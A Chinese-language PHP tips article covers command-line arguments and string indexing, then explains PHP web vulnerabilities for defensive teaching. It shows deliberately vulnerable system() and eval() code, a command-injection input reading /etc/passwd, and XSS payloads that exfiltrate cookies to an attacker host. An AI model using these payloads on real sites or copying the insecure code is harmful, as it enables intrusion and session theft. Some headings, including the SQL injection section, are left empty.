基于PHP编程注意事项的小结(3)


    $options = "f:g:"; 
    $opts = getopt( $options ); 
    print_r($opts); 


在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
 运行结果:
   Array
        (
            [f] => 123
            [g] => 456
        )

方法三 提示用户输入,然后获取输入的参数。有点像C语言

复制代码 代码如下:


fwrite(STDOUT, "Enter your name: "); 
$name = trim(fgets(STDIN)); 
fwrite(STDOUT, "Hello, $name!");


在命令行下运行 /usr/local/php/bin/php ./getopt.php
 运行结果
     Enter your name: francis
     Hello, francis!


7. php的字符串即可以当做数组,和c指针字符串一样

复制代码 代码如下:


    <?php 
    $s = '12345'; 
    $s[$s[0]] = 0; 
    echo $s; 
    ?> 


结果是10345


8. PHP的高效率写法:

9. PHP的安全漏洞问题:

针对PHP的网站主要存在下面几种攻击方式:

1、命令注入(Command Injection)

PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)
     如:

复制代码 代码如下:


    <?php 
    $dir = $_GET["dir"];  
    if (isset($dir)) {      
        echo "";      
        system("ls -al ".$dir);      
        echo "";  
    }  
    ?>  


我们提交?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。

2、eval注入(Eval Injection)

eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。

复制代码 代码如下:


$var = "var";  
if (isset($_GET["arg"]))  
{  
    $arg = $_GET["arg"];  
    eval("\$var = $arg;");  
    echo "\$var =".$var;  
}  
?>


当我们提交?arg=phpinfo();漏洞就产生了;

防范命令注入和eval注入的方法

1)、尽量不要执行外部命令。

2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。

3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“'”,替换成“\'”,双引号“"”,替换成“\"”,分号“;”替换成“\;”

3、客户端脚本攻击(Script Insertion)

客户端脚本植入的攻击步骤

1)、攻击者注册普通用户后登陆网站

2)、打开留言页面,插入攻击的js代码

3)、其他用户登录网站(包括管理员),浏览此留言的内容

4)、隐藏在留言内容中的js代码被执行,攻击成功

表单输入一些浏览器可以执行的脚本:

插入 <script>while(1){windows.open();}</script> 无限弹框

插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
 防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。

4、跨网站脚本攻击(Cross Site Scripting, XSS)

恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。

跨站脚本攻击的一般步骤:

1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:

插入<script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>

或者是链接:

w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script >

2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接

3)、网站执行了此xss攻击脚本

4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息

5)、攻击者使用目标用户的信息登录网站,完成攻击

防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。

5、SQL注入攻击(SQL injection)

SQL注入最有效的防御方式是使用准备语句:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/e149b6fd7700581b5cab3c74f1873957.html